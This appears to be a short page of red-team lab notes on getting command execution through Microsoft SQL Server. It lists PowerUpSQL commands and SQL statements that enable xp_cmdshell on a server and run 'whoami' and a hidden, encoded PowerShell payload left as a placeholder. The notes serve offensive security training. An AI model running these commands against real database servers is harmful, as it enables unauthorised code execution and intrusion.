Command Execution

powershell Invoke-SQLOSCmd -Instance srv-1.dev.cyberbotic.io -Command "whoami" -RawResults

powershell Get-SQLQuery -Instance srv-1.dev.cyberbotic.io -Query "EXEC xp_cmdshell whoami"

SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';
sp_configure 'Show Advanced Options', 1; RECONFIGURE; sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'powershell -w hidden -enc <blah>';

Last updated